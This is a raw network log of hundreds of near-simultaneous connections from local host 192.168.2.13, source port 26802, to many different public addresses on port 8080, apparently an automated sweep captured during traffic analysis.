Feb 19, 2025 19:43:15.960266113 CET	26802	8080	192.168.2.13	62.107.57.98
Feb 19, 2025 19:43:15.960280895 CET	26802	8080	192.168.2.13	94.7.201.5
Feb 19, 2025 19:43:15.960290909 CET	26802	8080	192.168.2.13	95.174.212.52
Feb 19, 2025 19:43:15.960290909 CET	26802	8080	192.168.2.13	85.23.249.18
Feb 19, 2025 19:43:15.960292101 CET	26802	8080	192.168.2.13	95.127.232.55
Feb 19, 2025 19:43:15.960292101 CET	26802	8080	192.168.2.13	85.206.101.157
Feb 19, 2025 19:43:15.960313082 CET	26802	8080	192.168.2.13	62.249.176.248
Feb 19, 2025 19:43:15.960313082 CET	26802	8080	192.168.2.13	94.134.157.44
Feb 19, 2025 19:43:15.960314989 CET	26802	8080	192.168.2.13	62.253.60.96
Feb 19, 2025 19:43:15.960315943 CET	26802	8080	192.168.2.13	85.118.140.4
Feb 19, 2025 19:43:15.960318089 CET	26802	8080	192.168.2.13	94.169.245.39
Feb 19, 2025 19:43:15.960318089 CET	26802	8080	192.168.2.13	85.247.109.52
Feb 19, 2025 19:43:15.960318089 CET	26802	8080	192.168.2.13	94.134.36.60
Feb 19, 2025 19:43:15.960319042 CET	26802	8080	192.168.2.13	62.234.184.158
Feb 19, 2025 19:43:15.960319042 CET	26802	8080	192.168.2.13	31.36.253.29
Feb 19, 2025 19:43:15.960376978 CET	26802	8080	192.168.2.13	94.80.44.89
Feb 19, 2025 19:43:15.960376978 CET	26802	8080	192.168.2.13	85.95.200.242
Feb 19, 2025 19:43:15.960380077 CET	26802	8080	192.168.2.13	94.25.22.201
Feb 19, 2025 19:43:15.960402966 CET	26802	8080	192.168.2.13	85.68.252.166
Feb 19, 2025 19:43:15.960402966 CET	26802	8080	192.168.2.13	95.107.69.216
Feb 19, 2025 19:43:15.960402966 CET	26802	8080	192.168.2.13	95.251.252.91
Feb 19, 2025 19:43:15.960403919 CET	26802	8080	192.168.2.13	94.175.147.231
Feb 19, 2025 19:43:15.960402966 CET	26802	8080	192.168.2.13	94.107.14.223
Feb 19, 2025 19:43:15.960405111 CET	26802	8080	192.168.2.13	95.201.181.53
Feb 19, 2025 19:43:15.960402966 CET	26802	8080	192.168.2.13	85.169.3.59
Feb 19, 2025 19:43:15.960407019 CET	26802	8080	192.168.2.13	31.60.98.145
Feb 19, 2025 19:43:15.960407972 CET	26802	8080	192.168.2.13	95.106.78.87
Feb 19, 2025 19:43:15.960407019 CET	26802	8080	192.168.2.13	95.139.213.12
Feb 19, 2025 19:43:15.960408926 CET	26802	8080	192.168.2.13	62.136.85.81
Feb 19, 2025 19:43:15.960411072 CET	26802	8080	192.168.2.13	94.44.155.164
Feb 19, 2025 19:43:15.960402966 CET	26802	8080	192.168.2.13	95.110.29.128
Feb 19, 2025 19:43:15.960408926 CET	26802	8080	192.168.2.13	94.134.251.163
Feb 19, 2025 19:43:15.960405111 CET	26802	8080	192.168.2.13	31.216.98.102
Feb 19, 2025 19:43:15.960411072 CET	26802	8080	192.168.2.13	31.218.255.79
Feb 19, 2025 19:43:15.960407019 CET	26802	8080	192.168.2.13	31.164.4.214
Feb 19, 2025 19:43:15.960405111 CET	26802	8080	192.168.2.13	31.211.167.186
Feb 19, 2025 19:43:15.960405111 CET	26802	8080	192.168.2.13	94.140.16.53
Feb 19, 2025 19:43:15.960418940 CET	26802	8080	192.168.2.13	95.142.109.107
Feb 19, 2025 19:43:15.960418940 CET	26802	8080	192.168.2.13	31.69.8.71
Feb 19, 2025 19:43:15.960418940 CET	26802	8080	192.168.2.13	95.86.85.7
Feb 19, 2025 19:43:15.960418940 CET	26802	8080	192.168.2.13	95.102.16.144
Feb 19, 2025 19:43:15.960434914 CET	26802	8080	192.168.2.13	31.49.68.253
Feb 19, 2025 19:43:15.960434914 CET	26802	8080	192.168.2.13	95.28.14.10
Feb 19, 2025 19:43:15.960434914 CET	26802	8080	192.168.2.13	95.109.145.179
Feb 19, 2025 19:43:15.960434914 CET	26802	8080	192.168.2.13	31.112.70.136
Feb 19, 2025 19:43:15.960434914 CET	26802	8080	192.168.2.13	62.191.202.42
Feb 19, 2025 19:43:15.960438967 CET	26802	8080	192.168.2.13	85.207.185.95
Feb 19, 2025 19:43:15.960438967 CET	26802	8080	192.168.2.13	85.47.128.197
Feb 19, 2025 19:43:15.960438967 CET	26802	8080	192.168.2.13	95.241.220.108
Feb 19, 2025 19:43:15.960441113 CET	26802	8080	192.168.2.13	94.143.144.2
Feb 19, 2025 19:43:15.960441113 CET	26802	8080	192.168.2.13	62.250.183.154
Feb 19, 2025 19:43:15.960441113 CET	26802	8080	192.168.2.13	95.194.203.105
Feb 19, 2025 19:43:15.960441113 CET	26802	8080	192.168.2.13	94.149.48.20
Feb 19, 2025 19:43:15.960441113 CET	26802	8080	192.168.2.13	62.24.118.102
Feb 19, 2025 19:43:15.960442066 CET	26802	8080	192.168.2.13	31.198.152.28
Feb 19, 2025 19:43:15.960442066 CET	26802	8080	192.168.2.13	62.178.124.227
Feb 19, 2025 19:43:15.960442066 CET	26802	8080	192.168.2.13	94.48.196.99
Feb 19, 2025 19:43:15.960442066 CET	26802	8080	192.168.2.13	62.60.32.101
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	94.4.12.137
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	85.109.198.57
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	95.45.82.196
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	94.153.42.232
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	95.121.195.178
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	85.212.126.161
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	85.200.56.84
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	85.167.30.134
Feb 19, 2025 19:43:15.960444927 CET	26802	8080	192.168.2.13	31.44.35.129
Feb 19, 2025 19:43:15.960453033 CET	26802	8080	192.168.2.13	85.146.79.38
Feb 19, 2025 19:43:15.960453033 CET	26802	8080	192.168.2.13	85.11.42.179
Feb 19, 2025 19:43:15.960453033 CET	26802	8080	192.168.2.13	95.159.241.36
Feb 19, 2025 19:43:15.960453033 CET	26802	8080	192.168.2.13	94.25.219.198
Feb 19, 2025 19:43:15.960457087 CET	26802	8080	192.168.2.13	31.220.149.164
Feb 19, 2025 19:43:15.960458994 CET	26802	8080	192.168.2.13	94.167.231.196
Feb 19, 2025 19:43:15.960458994 CET	26802	8080	192.168.2.13	31.124.213.102
Feb 19, 2025 19:43:15.960457087 CET	26802	8080	192.168.2.13	62.255.191.129
Feb 19, 2025 19:43:15.960458994 CET	26802	8080	192.168.2.13	62.37.251.45
Feb 19, 2025 19:43:15.960458994 CET	26802	8080	192.168.2.13	31.88.29.243
Feb 19, 2025 19:43:15.960457087 CET	26802	8080	192.168.2.13	95.162.16.216
Feb 19, 2025 19:43:15.960467100 CET	26802	8080	192.168.2.13	94.61.37.183
Feb 19, 2025 19:43:15.960464001 CET	26802	8080	192.168.2.13	62.117.233.195
Feb 19, 2025 19:43:15.960457087 CET	26802	8080	192.168.2.13	94.239.174.103
Feb 19, 2025 19:43:15.960464001 CET	26802	8080	192.168.2.13	85.130.29.212
Feb 19, 2025 19:43:15.960467100 CET	26802	8080	192.168.2.13	95.45.175.43
Feb 19, 2025 19:43:15.960457087 CET	26802	8080	192.168.2.13	95.137.43.186
Feb 19, 2025 19:43:15.960467100 CET	26802	8080	192.168.2.13	31.86.180.28
Feb 19, 2025 19:43:15.960457087 CET	26802	8080	192.168.2.13	62.250.3.64
Feb 19, 2025 19:43:15.960469961 CET	26802	8080	192.168.2.13	95.96.11.91
Feb 19, 2025 19:43:15.960458040 CET	26802	8080	192.168.2.13	85.86.69.119
Feb 19, 2025 19:43:15.960469961 CET	26802	8080	192.168.2.13	94.88.252.88
Feb 19, 2025 19:43:15.960477114 CET	26802	8080	192.168.2.13	62.33.227.112
Feb 19, 2025 19:43:15.960472107 CET	26802	8080	192.168.2.13	62.238.175.32
Feb 19, 2025 19:43:15.960469961 CET	26802	8080	192.168.2.13	95.192.116.110
Feb 19, 2025 19:43:15.960473061 CET	26802	8080	192.168.2.13	85.222.162.3
Feb 19, 2025 19:43:15.960469961 CET	26802	8080	192.168.2.13	94.11.46.82
Feb 19, 2025 19:43:15.960477114 CET	26802	8080	192.168.2.13	95.169.83.88
Feb 19, 2025 19:43:15.960469961 CET	26802	8080	192.168.2.13	62.8.39.20
Feb 19, 2025 19:43:15.960473061 CET	26802	8080	192.168.2.13	94.102.248.9
Feb 19, 2025 19:43:15.960477114 CET	26802	8080	192.168.2.13	62.141.216.56
Feb 19, 2025 19:43:15.960470915 CET	26802	8080	192.168.2.13	62.1.248.224
Feb 19, 2025 19:43:15.960473061 CET	26802	8080	192.168.2.13	94.139.199.63
Feb 19, 2025 19:43:15.960488081 CET	26802	8080	192.168.2.13	85.233.194.28
Feb 19, 2025 19:43:15.960473061 CET	26802	8080	192.168.2.13	31.176.114.164
Feb 19, 2025 19:43:15.960470915 CET	26802	8080	192.168.2.13	62.138.177.34
Feb 19, 2025 19:43:15.960478067 CET	26802	8080	192.168.2.13	94.164.82.106
Feb 19, 2025 19:43:15.960477114 CET	26802	8080	192.168.2.13	94.176.168.107
Feb 19, 2025 19:43:15.960494995 CET	26802	8080	192.168.2.13	94.66.241.108
Feb 19, 2025 19:43:15.960477114 CET	26802	8080	192.168.2.13	31.58.201.101
Feb 19, 2025 19:43:15.960494995 CET	26802	8080	192.168.2.13	85.87.149.200
Feb 19, 2025 19:43:15.960488081 CET	26802	8080	192.168.2.13	94.98.180.34
Feb 19, 2025 19:43:15.960494995 CET	26802	8080	192.168.2.13	31.42.25.189
Feb 19, 2025 19:43:15.960494995 CET	26802	8080	192.168.2.13	85.51.126.174
Feb 19, 2025 19:43:15.960499048 CET	26802	8080	192.168.2.13	95.196.34.17
Feb 19, 2025 19:43:15.960494995 CET	26802	8080	192.168.2.13	94.140.16.109
Feb 19, 2025 19:43:15.960499048 CET	26802	8080	192.168.2.13	95.240.32.70
Feb 19, 2025 19:43:15.960494995 CET	26802	8080	192.168.2.13	95.171.87.186
Feb 19, 2025 19:43:15.960458040 CET	26802	8080	192.168.2.13	62.241.123.112
Feb 19, 2025 19:43:15.960509062 CET	26802	8080	192.168.2.13	95.160.211.119
Feb 19, 2025 19:43:15.960509062 CET	26802	8080	192.168.2.13	31.118.246.75
Feb 19, 2025 19:43:15.960509062 CET	26802	8080	192.168.2.13	94.233.205.20
Feb 19, 2025 19:43:15.960509062 CET	26802	8080	192.168.2.13	94.27.16.39
Feb 19, 2025 19:43:15.960509062 CET	26802	8080	192.168.2.13	85.101.246.170
Feb 19, 2025 19:43:15.960509062 CET	26802	8080	192.168.2.13	31.149.35.159
Feb 19, 2025 19:43:15.960509062 CET	26802	8080	192.168.2.13	31.44.48.91
Feb 19, 2025 19:43:15.960511923 CET	26802	8080	192.168.2.13	31.250.198.16
Feb 19, 2025 19:43:15.960515022 CET	26802	8080	192.168.2.13	85.4.145.47
Feb 19, 2025 19:43:15.960526943 CET	26802	8080	192.168.2.13	94.156.188.65
Feb 19, 2025 19:43:15.960511923 CET	26802	8080	192.168.2.13	31.170.114.5
Feb 19, 2025 19:43:15.960511923 CET	26802	8080	192.168.2.13	85.89.95.21
Feb 19, 2025 19:43:15.960534096 CET	26802	8080	192.168.2.13	85.39.19.131
Feb 19, 2025 19:43:15.960537910 CET	26802	8080	192.168.2.13	95.201.65.226
Feb 19, 2025 19:43:15.960537910 CET	26802	8080	192.168.2.13	95.56.113.143
Feb 19, 2025 19:43:15.960546017 CET	26802	8080	192.168.2.13	62.243.121.52
Feb 19, 2025 19:43:15.960551023 CET	26802	8080	192.168.2.13	94.236.85.133
Feb 19, 2025 19:43:15.960555077 CET	26802	8080	192.168.2.13	95.38.183.117
Feb 19, 2025 19:43:15.960561037 CET	26802	8080	192.168.2.13	85.18.196.161
Feb 19, 2025 19:43:15.960572958 CET	26802	8080	192.168.2.13	31.6.65.164
Feb 19, 2025 19:43:15.960572958 CET	26802	8080	192.168.2.13	31.105.237.15
Feb 19, 2025 19:43:15.960583925 CET	26802	8080	192.168.2.13	95.192.22.142
Feb 19, 2025 19:43:15.960660934 CET	26802	8080	192.168.2.13	62.153.173.104
Feb 19, 2025 19:43:15.960663080 CET	26802	8080	192.168.2.13	85.5.249.227
Feb 19, 2025 19:43:15.960663080 CET	26802	8080	192.168.2.13	62.61.232.161
Feb 19, 2025 19:43:15.960665941 CET	26802	8080	192.168.2.13	31.177.248.15
Feb 19, 2025 19:43:15.960666895 CET	26802	8080	192.168.2.13	62.92.167.250
Feb 19, 2025 19:43:15.960665941 CET	26802	8080	192.168.2.13	62.117.93.198
Feb 19, 2025 19:43:15.960666895 CET	26802	8080	192.168.2.13	95.51.110.15
Feb 19, 2025 19:43:15.960669994 CET	26802	8080	192.168.2.13	85.109.75.253
Feb 19, 2025 19:43:15.960669994 CET	26802	8080	192.168.2.13	95.127.73.191
Feb 19, 2025 19:43:15.960674047 CET	26802	8080	192.168.2.13	31.55.173.224
Feb 19, 2025 19:43:15.960674047 CET	26802	8080	192.168.2.13	62.41.65.30
Feb 19, 2025 19:43:15.960674047 CET	26802	8080	192.168.2.13	31.232.212.19
Feb 19, 2025 19:43:15.960664034 CET	26802	8080	192.168.2.13	62.85.214.173
Feb 19, 2025 19:43:15.960664034 CET	26802	8080	192.168.2.13	94.50.252.15
Feb 19, 2025 19:43:15.960664034 CET	26802	8080	192.168.2.13	85.205.97.51
Feb 19, 2025 19:43:15.960664034 CET	26802	8080	192.168.2.13	94.12.177.186
Feb 19, 2025 19:43:15.960675001 CET	26802	8080	192.168.2.13	95.134.43.103
Feb 19, 2025 19:43:15.960684061 CET	26802	8080	192.168.2.13	94.1.207.48
Feb 19, 2025 19:43:15.960684061 CET	26802	8080	192.168.2.13	95.229.187.156
Feb 19, 2025 19:43:15.960685015 CET	26802	8080	192.168.2.13	31.7.196.209
Feb 19, 2025 19:43:15.960675001 CET	26802	8080	192.168.2.13	85.215.56.168
Feb 19, 2025 19:43:15.960688114 CET	26802	8080	192.168.2.13	85.72.140.44
Feb 19, 2025 19:43:15.960688114 CET	26802	8080	192.168.2.13	62.102.205.91
Feb 19, 2025 19:43:15.960689068 CET	26802	8080	192.168.2.13	85.198.63.107
Feb 19, 2025 19:43:15.960688114 CET	26802	8080	192.168.2.13	95.188.214.192
Feb 19, 2025 19:43:15.960689068 CET	26802	8080	192.168.2.13	62.151.242.82
Feb 19, 2025 19:43:15.960691929 CET	26802	8080	192.168.2.13	95.69.41.231
Feb 19, 2025 19:43:15.960690022 CET	26802	8080	192.168.2.13	95.88.87.166
Feb 19, 2025 19:43:15.960688114 CET	26802	8080	192.168.2.13	31.77.132.187
Feb 19, 2025 19:43:15.960691929 CET	26802	8080	192.168.2.13	62.219.218.102
Feb 19, 2025 19:43:15.960688114 CET	26802	8080	192.168.2.13	95.54.115.252
Feb 19, 2025 19:43:15.960695028 CET	26802	8080	192.168.2.13	95.15.139.238
Feb 19, 2025 19:43:15.960695028 CET	26802	8080	192.168.2.13	31.17.67.214
Feb 19, 2025 19:43:15.960695028 CET	26802	8080	192.168.2.13	85.86.211.29
Feb 19, 2025 19:43:15.960705042 CET	26802	8080	192.168.2.13	94.23.254.56
Feb 19, 2025 19:43:15.960705042 CET	26802	8080	192.168.2.13	62.75.184.191
Feb 19, 2025 19:43:15.960705042 CET	26802	8080	192.168.2.13	94.52.210.220
Feb 19, 2025 19:43:15.960705042 CET	26802	8080	192.168.2.13	85.174.69.97
Feb 19, 2025 19:43:15.960705042 CET	26802	8080	192.168.2.13	95.44.153.193
Feb 19, 2025 19:43:15.960705042 CET	26802	8080	192.168.2.13	62.33.120.174
Feb 19, 2025 19:43:15.960709095 CET	26802	8080	192.168.2.13	85.242.219.14
Feb 19, 2025 19:43:15.960711002 CET	26802	8080	192.168.2.13	31.35.103.6
Feb 19, 2025 19:43:15.960711002 CET	26802	8080	192.168.2.13	95.78.145.212
Feb 19, 2025 19:43:15.960714102 CET	26802	8080	192.168.2.13	62.134.176.31
Feb 19, 2025 19:43:15.960711002 CET	26802	8080	192.168.2.13	31.70.22.48
Feb 19, 2025 19:43:15.960714102 CET	26802	8080	192.168.2.13	94.86.116.138
Feb 19, 2025 19:43:15.960711002 CET	26802	8080	192.168.2.13	85.65.120.174
Feb 19, 2025 19:43:15.960715055 CET	26802	8080	192.168.2.13	85.108.173.154
Feb 19, 2025 19:43:15.960711956 CET	26802	8080	192.168.2.13	85.203.87.206
Feb 19, 2025 19:43:15.960715055 CET	26802	8080	192.168.2.13	31.24.191.210
Feb 19, 2025 19:43:15.960715055 CET	26802	8080	192.168.2.13	31.105.161.169
Feb 19, 2025 19:43:15.960715055 CET	26802	8080	192.168.2.13	62.28.149.56
Feb 19, 2025 19:43:15.960728884 CET	26802	8080	192.168.2.13	62.0.52.221
Feb 19, 2025 19:43:15.960730076 CET	26802	8080	192.168.2.13	31.166.141.202
Feb 19, 2025 19:43:15.960731030 CET	26802	8080	192.168.2.13	62.11.89.143
Feb 19, 2025 19:43:15.960731030 CET	26802	8080	192.168.2.13	31.31.159.200
Feb 19, 2025 19:43:15.960732937 CET	26802	8080	192.168.2.13	85.10.113.132
Feb 19, 2025 19:43:15.960732937 CET	26802	8080	192.168.2.13	95.136.25.5
Feb 19, 2025 19:43:15.960732937 CET	26802	8080	192.168.2.13	94.74.6.176
Feb 19, 2025 19:43:15.960735083 CET	26802	8080	192.168.2.13	94.142.177.202
Feb 19, 2025 19:43:15.960735083 CET	26802	8080	192.168.2.13	94.177.111.163
Feb 19, 2025 19:43:15.960735083 CET	26802	8080	192.168.2.13	95.45.132.140
Feb 19, 2025 19:43:15.960736036 CET	26802	8080	192.168.2.13	94.197.142.243
Feb 19, 2025 19:43:15.960736036 CET	26802	8080	192.168.2.13	62.211.101.93
Feb 19, 2025 19:43:15.960741043 CET	26802	8080	192.168.2.13	85.18.228.145
Feb 19, 2025 19:43:15.960741043 CET	26802	8080	192.168.2.13	95.6.13.187
Feb 19, 2025 19:43:15.960741043 CET	26802	8080	192.168.2.13	85.162.149.252
Feb 19, 2025 19:43:15.960745096 CET	26802	8080	192.168.2.13	85.70.127.28
Feb 19, 2025 19:43:15.960748911 CET	26802	8080	192.168.2.13	85.29.52.235
Feb 19, 2025 19:43:15.960748911 CET	26802	8080	192.168.2.13	31.44.62.95
Feb 19, 2025 19:43:15.960750103 CET	26802	8080	192.168.2.13	62.148.179.24
Feb 19, 2025 19:43:15.960751057 CET	26802	8080	192.168.2.13	62.41.41.236
Feb 19, 2025 19:43:15.960751057 CET	26802	8080	192.168.2.13	31.255.21.119
Feb 19, 2025 19:43:15.960751057 CET	26802	8080	192.168.2.13	95.144.115.230
Feb 19, 2025 19:43:15.960751057 CET	26802	8080	192.168.2.13	62.23.210.249
Feb 19, 2025 19:43:15.960751057 CET	26802	8080	192.168.2.13	94.145.82.176
Feb 19, 2025 19:43:15.960751057 CET	26802	8080	192.168.2.13	62.148.178.253
Feb 19, 2025 19:43:15.960751057 CET	26802	8080	192.168.2.13	31.29.17.152
Feb 19, 2025 19:43:15.960760117 CET	26802	8080	192.168.2.13	62.56.222.167
Feb 19, 2025 19:43:15.960760117 CET	26802	8080	192.168.2.13	31.30.240.161
Feb 19, 2025 19:43:15.960760117 CET	26802	8080	192.168.2.13	31.21.62.67
Feb 19, 2025 19:43:15.960764885 CET	26802	8080	192.168.2.13	31.23.128.222
Feb 19, 2025 19:43:15.960764885 CET	26802	8080	192.168.2.13	31.41.18.67
Feb 19, 2025 19:43:15.960752010 CET	26802	8080	192.168.2.13	31.245.15.52
Feb 19, 2025 19:43:15.960752010 CET	26802	8080	192.168.2.13	95.203.90.163
Feb 19, 2025 19:43:15.960752010 CET	26802	8080	192.168.2.13	94.213.110.182
Feb 19, 2025 19:43:15.960772038 CET	26802	8080	192.168.2.13	62.60.43.222
Feb 19, 2025 19:43:15.960772038 CET	26802	8080	192.168.2.13	85.87.70.50
Feb 19, 2025 19:43:15.960764885 CET	26802	8080	192.168.2.13	95.66.113.133
Feb 19, 2025 19:43:15.960774899 CET	26802	8080	192.168.2.13	85.65.8.88
Feb 19, 2025 19:43:15.960774899 CET	26802	8080	192.168.2.13	62.119.226.206
Feb 19, 2025 19:43:15.960772991 CET	26802	8080	192.168.2.13	95.58.18.76
Feb 19, 2025 19:43:15.960772991 CET	26802	8080	192.168.2.13	94.238.55.201
Feb 19, 2025 19:43:15.960774899 CET	26802	8080	192.168.2.13	94.218.235.114
Feb 19, 2025 19:43:15.960774899 CET	26802	8080	192.168.2.13	95.204.34.20
Feb 19, 2025 19:43:15.960774899 CET	26802	8080	192.168.2.13	31.140.183.206
Feb 19, 2025 19:43:15.960764885 CET	26802	8080	192.168.2.13	94.91.76.157
Feb 19, 2025 19:43:15.960764885 CET	26802	8080	192.168.2.13	85.29.111.222
Feb 19, 2025 19:43:15.960788965 CET	26802	8080	192.168.2.13	62.5.29.172
Feb 19, 2025 19:43:15.960798025 CET	26802	8080	192.168.2.13	31.105.119.195
Feb 19, 2025 19:43:15.960860968 CET	26802	8080	192.168.2.13	31.81.25.5
Feb 19, 2025 19:43:15.960860968 CET	26802	8080	192.168.2.13	62.64.218.198
Feb 19, 2025 19:43:15.960860968 CET	26802	8080	192.168.2.13	85.92.34.225
Feb 19, 2025 19:43:15.960863113 CET	26802	8080	192.168.2.13	94.76.22.67
Feb 19, 2025 19:43:15.960863113 CET	26802	8080	192.168.2.13	94.15.91.236
Feb 19, 2025 19:43:15.960863113 CET	26802	8080	192.168.2.13	62.227.201.9
Feb 19, 2025 19:43:15.960863113 CET	26802	8080	192.168.2.13	85.205.123.44
Feb 19, 2025 19:43:15.960865974 CET	26802	8080	192.168.2.13	31.17.216.194
Feb 19, 2025 19:43:15.960866928 CET	26802	8080	192.168.2.13	31.182.75.160
Feb 19, 2025 19:43:15.960864067 CET	26802	8080	192.168.2.13	31.45.215.155
Feb 19, 2025 19:43:15.960865974 CET	26802	8080	192.168.2.13	62.241.41.164
Feb 19, 2025 19:43:15.960866928 CET	26802	8080	192.168.2.13	85.141.239.103
Feb 19, 2025 19:43:15.960867882 CET	26802	8080	192.168.2.13	94.82.59.30
Feb 19, 2025 19:43:15.960866928 CET	26802	8080	192.168.2.13	62.80.183.13
Feb 19, 2025 19:43:15.960870028 CET	26802	8080	192.168.2.13	94.155.113.77
Feb 19, 2025 19:43:15.960870028 CET	26802	8080	192.168.2.13	94.224.172.98
Feb 19, 2025 19:43:15.960870028 CET	26802	8080	192.168.2.13	95.33.205.173
Feb 19, 2025 19:43:15.960870981 CET	26802	8080	192.168.2.13	85.227.83.247
Feb 19, 2025 19:43:15.960879087 CET	26802	8080	192.168.2.13	31.100.174.111
Feb 19, 2025 19:43:15.960879087 CET	26802	8080	192.168.2.13	62.44.45.112
Feb 19, 2025 19:43:15.960863113 CET	26802	8080	192.168.2.13	31.83.229.166
Feb 19, 2025 19:43:15.960882902 CET	26802	8080	192.168.2.13	62.109.197.167
Feb 19, 2025 19:43:15.960863113 CET	26802	8080	192.168.2.13	95.247.120.233
Feb 19, 2025 19:43:15.960887909 CET	26802	8080	192.168.2.13	62.188.94.90
Feb 19, 2025 19:43:15.960887909 CET	26802	8080	192.168.2.13	94.112.131.65
Feb 19, 2025 19:43:15.960887909 CET	26802	8080	192.168.2.13	94.248.224.230
Feb 19, 2025 19:43:15.960887909 CET	26802	8080	192.168.2.13	94.62.104.47
Feb 19, 2025 19:43:15.960890055 CET	26802	8080	192.168.2.13	94.15.221.92
Feb 19, 2025 19:43:15.960890055 CET	26802	8080	192.168.2.13	94.224.238.188
Feb 19, 2025 19:43:15.960891962 CET	26802	8080	192.168.2.13	94.64.169.139
Feb 19, 2025 19:43:15.960892916 CET	26802	8080	192.168.2.13	31.197.183.234
Feb 19, 2025 19:43:15.960891962 CET	26802	8080	192.168.2.13	94.81.22.136
Feb 19, 2025 19:43:15.960891962 CET	26802	8080	192.168.2.13	94.182.206.216
Feb 19, 2025 19:43:15.960896015 CET	26802	8080	192.168.2.13	95.190.22.31
Feb 19, 2025 19:43:15.960896015 CET	26802	8080	192.168.2.13	31.144.85.193
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	31.98.157.243
Feb 19, 2025 19:43:15.960900068 CET	26802	8080	192.168.2.13	62.154.238.21
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	95.244.235.146
Feb 19, 2025 19:43:15.960917950 CET	26802	8080	192.168.2.13	95.14.10.252
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	95.80.205.110
Feb 19, 2025 19:43:15.960917950 CET	26802	8080	192.168.2.13	85.233.205.2
Feb 19, 2025 19:43:15.960913897 CET	26802	8080	192.168.2.13	31.180.103.35
Feb 19, 2025 19:43:15.960900068 CET	26802	8080	192.168.2.13	94.180.45.74
Feb 19, 2025 19:43:15.960917950 CET	26802	8080	192.168.2.13	31.184.74.242
Feb 19, 2025 19:43:15.960916042 CET	26802	8080	192.168.2.13	95.91.132.45
Feb 19, 2025 19:43:15.960900068 CET	26802	8080	192.168.2.13	94.116.216.219
Feb 19, 2025 19:43:15.960922003 CET	26802	8080	192.168.2.13	94.12.179.99
Feb 19, 2025 19:43:15.960900068 CET	26802	8080	192.168.2.13	31.86.41.244
Feb 19, 2025 19:43:15.960913897 CET	26802	8080	192.168.2.13	94.90.31.160
Feb 19, 2025 19:43:15.960917950 CET	26802	8080	192.168.2.13	31.87.202.36
Feb 19, 2025 19:43:15.960922956 CET	26802	8080	192.168.2.13	85.247.165.236
Feb 19, 2025 19:43:15.960916042 CET	26802	8080	192.168.2.13	95.77.139.172
Feb 19, 2025 19:43:15.960916042 CET	26802	8080	192.168.2.13	85.201.19.147
Feb 19, 2025 19:43:15.960922956 CET	26802	8080	192.168.2.13	85.32.255.138
Feb 19, 2025 19:43:15.960917950 CET	26802	8080	192.168.2.13	94.198.6.221
Feb 19, 2025 19:43:15.960916042 CET	26802	8080	192.168.2.13	31.119.201.243
Feb 19, 2025 19:43:15.960913897 CET	26802	8080	192.168.2.13	94.104.191.107
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	62.196.194.79
Feb 19, 2025 19:43:15.960913897 CET	26802	8080	192.168.2.13	31.68.23.98
Feb 19, 2025 19:43:15.960922956 CET	26802	8080	192.168.2.13	95.8.40.173
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	95.169.167.94
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	95.46.61.251
Feb 19, 2025 19:43:15.960941076 CET	26802	8080	192.168.2.13	62.225.25.244
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	95.143.4.87
Feb 19, 2025 19:43:15.960942030 CET	26802	8080	192.168.2.13	94.245.236.221
Feb 19, 2025 19:43:15.960897923 CET	26802	8080	192.168.2.13	85.6.180.150
Feb 19, 2025 19:43:15.960942030 CET	26802	8080	192.168.2.13	31.197.220.33
Feb 19, 2025 19:43:15.960941076 CET	26802	8080	192.168.2.13	31.52.165.248
Feb 19, 2025 19:43:15.960947037 CET	26802	8080	192.168.2.13	85.1.218.244
Feb 19, 2025 19:43:15.960947037 CET	26802	8080	192.168.2.13	94.81.132.7
Feb 19, 2025 19:43:15.960947990 CET	26802	8080	192.168.2.13	95.185.65.77
Feb 19, 2025 19:43:15.960947990 CET	26802	8080	192.168.2.13	95.225.196.197
Feb 19, 2025 19:43:15.960922956 CET	26802	8080	192.168.2.13	31.128.43.103
Feb 19, 2025 19:43:15.960947990 CET	26802	8080	192.168.2.13	94.72.75.45
Feb 19, 2025 19:43:15.960947037 CET	26802	8080	192.168.2.13	95.120.228.117
Feb 19, 2025 19:43:15.960947990 CET	26802	8080	192.168.2.13	62.3.103.77
Feb 19, 2025 19:43:15.960947990 CET	26802	8080	192.168.2.13	31.159.160.54
Feb 19, 2025 19:43:15.960896969 CET	26802	8080	192.168.2.13	62.92.72.199
Feb 19, 2025 19:43:15.960961103 CET	26802	8080	192.168.2.13	62.6.12.6
Feb 19, 2025 19:43:15.960961103 CET	26802	8080	192.168.2.13	62.178.24.129
Feb 19, 2025 19:43:15.960961103 CET	26802	8080	192.168.2.13	85.142.156.116
Feb 19, 2025 19:43:15.960961103 CET	26802	8080	192.168.2.13	95.221.97.116
Feb 19, 2025 19:43:15.960961103 CET	26802	8080	192.168.2.13	94.52.65.10
Feb 19, 2025 19:43:15.960980892 CET	26802	8080	192.168.2.13	62.33.210.192
Feb 19, 2025 19:43:15.960980892 CET	26802	8080	192.168.2.13	95.115.218.247
Feb 19, 2025 19:43:15.960980892 CET	26802	8080	192.168.2.13	95.232.111.70
Feb 19, 2025 19:43:15.960980892 CET	26802	8080	192.168.2.13	95.231.95.115
Feb 19, 2025 19:43:15.960980892 CET	26802	8080	192.168.2.13	31.105.244.246
Feb 19, 2025 19:43:15.960980892 CET	26802	8080	192.168.2.13	85.215.74.62
Feb 19, 2025 19:43:15.960983038 CET	26802	8080	192.168.2.13	62.180.127.138
Feb 19, 2025 19:43:15.960983038 CET	26802	8080	192.168.2.13	95.126.169.103
Feb 19, 2025 19:43:15.960983038 CET	26802	8080	192.168.2.13	95.150.244.109
Feb 19, 2025 19:43:15.960983992 CET	26802	8080	192.168.2.13	31.105.247.225
Feb 19, 2025 19:43:15.960983992 CET	26802	8080	192.168.2.13	94.112.152.146
Feb 19, 2025 19:43:15.960983992 CET	26802	8080	192.168.2.13	62.66.225.97
